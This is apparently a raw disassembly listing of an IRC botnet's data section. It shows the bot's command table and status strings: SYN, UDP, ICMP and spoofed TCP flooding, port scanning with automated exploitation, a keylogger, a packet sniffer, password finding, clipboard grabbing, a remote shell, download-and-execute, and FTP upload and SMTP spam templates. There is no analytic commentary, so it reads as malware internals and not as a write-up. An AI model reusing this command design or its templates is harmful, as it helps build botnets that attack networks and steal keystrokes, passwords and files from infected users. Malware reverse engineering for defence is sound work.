<%d>.',0 unk_43128C db 2 ; DATA XREF: sub_40EE72+3ADDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 4 unk_4312CC db 2 ; DATA XREF: sub_40EE72+3A55o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_18 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_431314 db 2 ; DATA XREF: sub_40EE72+39E6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 4 dword_431354 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+3948o dd 2BBBB02h aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_43139C dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+38D7o dd 2BBBB02h aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0 unk_4313D8 db 2 ; DATA XREF: sub_40EE72+385Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 align 4 unk_431428 db 2 ; DATA XREF: sub_40EE72+37EFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 4 unk_431464 db 2 ; DATA XREF: sub_40EE72+371Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0 align 4 unk_4314B8 db 2 ; DATA XREF: sub_40EE72+36AEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 unk_431504 db 2 ; DATA XREF: sub_40EE72+3620o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_20 db ' Failed to start scan thread, error: <%d>.',0 align 10h unk_431550 db 2 ; DATA XREF: sub_40EE72+35B1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40EE72+352Do align 4 aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40EE72+3430o align 4 dword_4315BC dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40EE72+33A2o ; sub_40EE72+43EFo unk_4315C8 db 2 ; DATA XREF: sub_40EE72+3340o ; sub_40EE72+5179o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_21 db ' Failed to start scan thread, error: <%d>.',0 align 10h unk_431610 db 2 ; DATA XREF: sub_40EE72+32D1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu' db 'tes using %d threads.',0 aSequential db 'Sequential',0 ; DATA XREF: sub_40EE72+32A6o ; sub_40EE72+50DDo align 4 aRandom_0 db 'Random',0 ; DATA XREF: sub_40EE72+329Fo ; sub_40EE72+50D6o align 4 unk_431694 db 2 ; DATA XREF: sub_40EE72+3161o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_22 db ' Failed to start scan, no IP specified.',0 align 4 unk_4316D8 db 2 ; DATA XREF: sub_40EE72+301Ao ; sub_40EE72+4F21o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 dword_431724 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2FE9o dd 2BBBB02h aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_43176C dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2F7Ao dd 2BBBB02h aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o align 4 unk_4317DC db 2 ; DATA XREF: sub_40EE72+2E8Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_24 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_431824 db 2 ; DATA XREF: sub_40EE72+2E22o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 dword_43187C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_411BF4o dd 2BBBB02h aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0 align 4 dword_4318C4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2D78o dd 2BBBB02h aFailedToSta_25 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_43190C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2CFEo dd 2BBBB02h aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0 align 10h aNormal db 'Normal',0 ; DATA XREF: sub_40EE72+2CEEo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40EE72+2CE7o dword_431960 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2C4Co dd 2BBBB02h aInvalidFloodTy db ' Invalid flood type specified.',0 dword_431998 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4119D3o dd 2BBBB02h aUploadingFileS db ' Uploading file: %s to: %s failed.',0 dword_4319D4 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2B5Ao dd 2BBBB02h aUploadingFil_0 db ' Uploading file: %s to: %s',0 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40EE72+2B43o aSS_4 db '-s:%s',0 ; DATA XREF: sub_40EE72+2B2Co align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40EE72+2B09o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40EE72+2AD4o align 4 dword_431A4C dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2A8Ao dd 2BBBB02h aFileNotFoundS_ db ' File not found: %s.',0 align 4 aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40EE72+2A67o align 4 aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40EE72+2A44o align 4 aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40EE72+2A2Do align 4 unk_431AA4 db 3 ; DATA XREF: sub_40EE72+2A11o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 65h db 6Dh ; m db 61h, 69h, 6Ch db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5MessageSentTo db '5 Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40EE72+299Do db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a__0: ; DATA XREF: sub_40EE72+2901o unicode 0, <_>,0 aUtil_email db 'util.email',0 ; DATA XREF: sub_40EE72+28B2o align 10h aDdos_tcpf db 'ddos.tcpf',0 ; DATA XREF: sub_40EE72+289Bo align 4 aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40EE72+2884o align 4 aP: ; DATA XREF: sub_40EE72+286Do unicode 0, <p>,0 aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40EE72+2856o align 4 aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40EE72+283Fo align 4 aU: ; DATA XREF: sub_40EE72+2828o unicode 0, <u>,0 aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40EE72+2811o align 4 aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40EE72+27FAo align 4 aAdv db 'adv',0 ; DATA XREF: sub_40EE72+27E3o aAdvscan db 'advscan',0 ; DATA XREF: sub_40EE72+27CCo aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40EE72+27A3o align 4 aClone_action db 'clone.action',0 ; DATA XREF: sub_40EE72+278Co align 4 aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40EE72+2775o align 10h aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40EE72+275Eo align 10h aRoot_ps db 'root.ps',0 ; DATA XREF: sub_40EE72+2747o aRoot_portscan db 'root.portscan',0 ; DATA XREF: sub_40EE72+2730o align 4 aDaemon_rd db 'daemon.rd',0 ; DATA XREF: sub_40EE72+2719o align 4 aDaemon_redirec db 'daemon.redirect',0 ; DATA XREF: sub_40EE72+2702o aDownload_wg db 'download.wg',0 ; DATA XREF: sub_40EE72+26EBo aDownload_wget db 'download.wget',0 ; DATA XREF: sub_40EE72+26D4o align 10h aDdos_synf db 'ddos.synf',0 ; DATA XREF: sub_40EE72+26BDo align 4 aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40EE72+26A6o align 4 aClone_start db 'clone.start',0 ; DATA XREF: sub_40EE72+264Ao aClone_make db 'clone.make',0 ; DATA XREF: sub_40EE72+2633o align 4 aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40EE72+260Ao aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40EE72+25F3o align 4 aCom_mv db 'com.mv',0 ; DATA XREF: sub_40EE72+25DCo align 10h aCom_rename db 'com.rename',0 ; DATA XREF: sub_40EE72+25C5o align 4 aFf db 'ff',0 ; DATA XREF: sub_40EE72+25AEo align 10h aFindfile db 'findfile',0 ; DATA XREF: sub_40EE72+2597o align 4 aCom_e db 'com.e',0 ; DATA XREF: sub_40EE72+2580o align 4 aCom_execute db 'com.execute',0 ; DATA XREF: sub_40EE72+2569o aDownload_up db 'download.up',0 ; DATA XREF: sub_40EE72+2552o aDownload_updat db 'download.update',0 ; DATA XREF: sub_40EE72+253Bo aIrc_de db 'irc.de',0 ; DATA XREF: sub_40EE72+2524o align 4 aIrc_delay db 'irc.delay',0 ; DATA XREF: sub_40EE72+250Do align 10h aIrc_rp db 'irc.rp',0 ; DATA XREF: sub_40EE72+24F6o align 4 aIrc_repeat db 'irc.repeat',0 ; DATA XREF: sub_40EE72+24DFo align 4 aClone_p db 'clone.p',0 ; DATA XREF: sub_40EE72+24C8o aClone_part db 'clone.part',0 ; DATA XREF: sub_40EE72+24B1o align 4 aClone_j db 'clone.j',0 ; DATA XREF: sub_40EE72+249Ao aClone_join db 'clone.join',0 ; DATA XREF: sub_40EE72+2483o align 4 aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40EE72+246Co align 4 aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40EE72+2455o align 4 aClone_m db 'clone.m',0 ; DATA XREF: sub_40EE72+243Eo aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40EE72+2427o align 4 aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40EE72+2410o align 4 aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40EE72+23F9o align 10h aIrc_m db 'irc.m',0 ; DATA XREF: sub_40EE72+23E2o align 4 aIrc_mode db 'irc.mode',0 ; DATA XREF: sub_40EE72+23CBo align 4 aIrc_cy db 'irc.cy',0 ; DATA XREF: sub_40EE72+23B4o align 4 aIrc_cycle db 'irc.cycle',0 ; DATA XREF: sub_40EE72+239Do align 4 aIrc_ac db 'irc.ac',0 ; DATA XREF: sub_40EE72+2386o align 10h aIrc_action db 'irc.action',0 ; DATA XREF: sub_40EE72+236Fo align 4 aIrc_pm db 'irc.pm',0 ; DATA XREF: sub_40EE72+2358o align 4 aIrc_privmsg db 'irc.privmsg',0 ; DATA XREF: sub_40EE72+2341o aIrc_aa db 'irc.aa',0 ; DATA XREF: sub_40EE72+232Ao align 4 aIrc_addalias db 'irc.addalias',0 ; DATA XREF: sub_40EE72+2313o align 4 aIrc_gh db 'irc.gh',0 ; DATA XREF: sub_40EE72+22EAo align 10h aIrc_gethost db 'irc.gethost',0 ; DATA XREF: sub_40EE72+22D3o aCom_cap db 'com.cap',0 ; DATA XREF: sub_40EE72+22BCo aCom_capture db 'com.capture',0 ; DATA XREF: sub_40EE72+22A5o dword_431DF0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4110C9o dd 2BBBB02h aCommandUnknown db ' Command unknown.',0 align 4 dword_431E1C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4110C2o dd 2BBBB02h aNoMessageSpeci db ' No message specified.',0 dword_431E4C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_411077o dd 2BBBB02h aUserListFailed db ' User list failed.',0 dword_431E78 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+21FEo dd 2BBBB02h aUserListComple db ' User list completed.',0 align 4 aUser db 'user',0 ; DATA XREF: sub_40EE72+218Ao align 10h dword_431EB0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_410FF1o dd 2BBBB02h aShareListFaile db ' Share list failed.',0 align 10h dword_431EE0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2175o dd 2BBBB02h aShareListCompl db ' Share list completed.',0 aShare db 'share',0 ; DATA XREF: sub_40EE72+211Fo align 4 aDelete db 'delete',0 ; DATA XREF: sub_40EE72+20FDo align 10h aContinue db 'continue',0 ; DATA XREF: sub_40EE72+20E5o align 4 aPause db 'pause',0 ; DATA XREF: sub_40EE72+20CDo align 4 aStop db 'stop',0 ; DATA XREF: sub_40EE72+20B5o align 4 dword_431F3C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_410F1Co dd 2BBBB02h aServiceListFai db ' Service list failed.',0 align 4 dword_431F6C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+20A0o dd 2BBBB02h aServiceListCom db ' Service list completed.',0 align 10h aStart db 'start',0 ; DATA XREF: sub_40EE72+2069o align 4 dword_431FA8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2036o dd 2BBBB02h aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 10h aCom_net db 'com.net',0 ; DATA XREF: sub_40EE72+2012o unk_431FF8 db 2 ; DATA XREF: sub_40EE72+1FD1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_26 db ' Failed to start logging thread, error: <%d>.',0 align 4 unk_432044 db 2 ; DATA XREF: sub_40EE72+1F66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerActiv db ' Key logger active.',0 unk_432074 db 2 ; DATA XREF: sub_40EE72+1EE5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAlreadyRunni_1 db ' Already running.',0 align 4 unk_4320A4 db 2 ; DATA XREF: sub_40EE72:loc_410D33o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNoKeyLoggerThr db ' No key logger thread found.',0 align 10h unk_4320E0 db 2 ; DATA XREF: sub_40EE72+1EB7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_40EE72+1E83o ; sub_40EE72+1EF9o align 4 aCom_keylog db 'com.keylog',0 ; DATA XREF: sub_40EE72+1E5Do align 10h unk_432140 db 2 ; DATA XREF: sub_40EE72:loc_410CC5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aNoCarnivoreThr db 'No Carnivore thread found.',0 align 4 unk_432178 db 2 ; DATA XREF: sub_40EE72+1E49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0 align 10h aOff db 'off',0 ; DATA XREF: sub_40EE72+1E26o ; sub_40EE72+1E94o unk_4321C4 db 2 ; DATA XREF: sub_40EE72+1E1Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_27 db 'Failed to start sniffer thread, error: <%d>.',0 align 10h unk_432210 db 2 ; DATA XREF: sub_40EE72+1DACo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivorePacke db 'Carnivore packet sniffer active.',0 align 10h unk_432250 db 2 ; DATA XREF: sub_40EE72+1D45o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunni_2 db 'Already running.',0 align 10h aOn db 'on',0 ; DATA XREF: sub_40EE72+1D25o ; sub_40EE72+1E72o align 4 aSniff db 'sniff',0 ; DATA XREF: sub_40EE72+1D10o align 4 aCom_rf db 'com.rf',0 ; DATA XREF: sub_40EE72+1CF9o align 4 aCom_readfile db 'com.readfile',0 ; DATA XREF: sub_40EE72+1CE2o align 4 aCom_cm db 'com.cm',0 ; DATA XREF: sub_40EE72+1CCBo align 4 aCom_cmd db 'com.cmd',0 ; DATA XREF: sub_40EE72+1CB4o aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40EE72+1C86o ; sub_40EE72+1C9Do align 10h aIrc_v db 'irc.v',0 ; DATA XREF: sub_40EE72+1C6Fo align 4 aIrc_visit db 'irc.visit',0 ; DATA XREF: sub_40EE72+1C58o align 4 aCom_fl db 'com.fl',0 ; DATA XREF: sub_40EE72+1C41o align 4 aCom_filelist db 'com.filelist',0 ; DATA XREF: sub_40EE72+1C2Ao align 4 aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40EE72+1C13o align 4 aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40EE72+1BFCo aCom_del db 'com.del',0 ; DATA XREF: sub_40EE72+1BE5o aCom_delete db 'com.delete',0 ; DATA XREF: sub_40EE72+1BCEo align 10h aCom_pkid db 'com.pkid',0 ; DATA XREF: sub_40EE72+1BB7o align 4 aCom_prockillid db 'com.prockillid',0 ; DATA XREF: sub_40EE72+1BA0o align 4 aCom_kpn db 'com.kpn',0 ; DATA XREF: sub_40EE72+1B89o aCom_killprocna db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o align 4 aIrc_dn db 'irc.dn',0 ; DATA XREF: sub_40EE72+1B5Bo align 10h aIrc_dns db 'irc.dns',0 ; DATA XREF: sub_40EE72+1B44o aIrc_se db 'irc.se',0 ; DATA XREF: sub_40EE72+1B2Do align 10h aIrc_setserve db 'irc.setserve',0 ; DATA XREF: sub_40EE72+1B16o align 10h aCom_o db 'com.o',0 ; DATA XREF: sub_40EE72+1AFFo align 4 aCom_open db 'com.open',0 ; DATA XREF: sub_40EE72+1AE8o align 4 aIrc_pr db 'irc.pr',0 ; DATA XREF: sub_40EE72+1AD1o align 4 aIrc_prefix db 'irc.prefix',0 ; DATA XREF: sub_40EE72+1ABAo align 4 aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40EE72+1AA3o align 4 aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40EE72+1A8Co align 4 aClone_q db 'clone.q',0 ; DATA XREF: sub_40EE72+1A75o aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40EE72+1A5Eo align 4 aThreads_k db 'threads.k',0 ; DATA XREF: sub_40EE72+1A47o align 4 aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40EE72+1A30o align 4 aIrc_ra db 'irc.ra',0 ; DATA XREF: sub_40EE72+1A19o align 4 aIrc_raw db 'irc.raw',0 ; DATA XREF: sub_40EE72+1A02o aIrc_pt db 'irc.pt',0 ; DATA XREF: sub_40EE72+19EBo align 4 aIrc_part db 'irc.part',0 ; DATA XREF: sub_40EE72+19D4o align 4 aIrc_j db 'irc.j',0 ; DATA XREF: sub_40EE72+19BDo align 10h aIrc_join db 'irc.join',0 ; DATA XREF: sub_40EE72+19A6o align 4 aIrc_n db 'irc.n',0 ; DATA XREF: sub_40EE72+198Fo align 4 aIrc_nick db 'irc.nick',0 ; DATA XREF: sub_40EE72+1978o align 10h aSa db 'sa',0 ; DATA XREF: sub_40EE72+1952o align 4 aAsc db 'asc',0 ; DATA XREF: sub_40EE72+193Do aCom_fp db 'com.fp',0 ; DATA XREF: sub_40EE72+1928o align 10h aCom_findpass db 'com.findpass',0 ; DATA XREF: sub_40EE72+1913o align 10h aDaemon_tf_on db 'daemon.tf.on',0 ; DATA XREF: sub_40EE72+18FEo align 10h aDaemon_tftp_on db 'daemon.tftp.on',0 ; DATA XREF: sub_40EE72+18E9o align 10h aDaemon_web_on db 'daemon.web.on',0 ; DATA XREF: sub_40EE72+18D4o align 10h aDaemon_httpd_o db 'daemon.httpd.on',0 ; DATA XREF: sub_40EE72+18BFo aDaemon_rl_on db 'daemon.rl.on',0 ; DATA XREF: sub_40EE72+18AAo align 10h aDaemon_rlogi_0 db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o align 4 aRoot_cip db 'root.cip',0 ; DATA XREF: sub_40EE72+1880o align 10h aRoot_currentip db 'root.currentip',0 ; DATA XREF: sub_40EE72+186Bo align 10h aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40EE72+1856o align 4 aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40EE72+1841o align 4 aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40EE72+182Co align 4 aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40EE72+1817o align 4 aCom_gc db 'com.gc',0 ; DATA XREF: sub_40EE72+1802o align 10h aCom_getclip db 'com.getclip',0 ; DATA XREF: sub_40EE72+17EDo dword_43251C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+17DDo dd 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_40EE72+17A9o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_40EE72+179Co aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40EE72+177Ao align 4 aIrc_who db 'irc.who',0 ; DATA XREF: sub_40EE72+1761o aCmd db '[CMD]',0 ; DATA XREF: sub_40EE72+1756o align 4 aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40EE72+1751o align 4 aCom_ocmd_off db 'com.ocmd.off',0 ; DATA XREF: sub_40EE72+1738o align 4 aCom_ocmd db 'com.ocmd',0 ; DATA XREF: sub_40EE72+1723o align 4 aCom_opencmd db 'com.opencmd',0 ; DATA XREF: sub_40EE72+170Eo aCom_dll db 'com.dll',0 ; DATA XREF: sub_40EE72+16F9o aCom_testdlls db 'com.testdlls',0 ; DATA XREF: sub_40EE72+16E4o align 4 aCom_drv db 'com.drv',0 ; DATA XREF: sub_40EE72+16CFo aCom_driveinfo db 'com.driveinfo',0 ; DATA XREF: sub_40EE72+16BAo align 4 aCom_up db 'com.up',0 ; DATA XREF: sub_40EE72+16A5o align 4 aCom_uptime db 'com.uptime',0 ; DATA 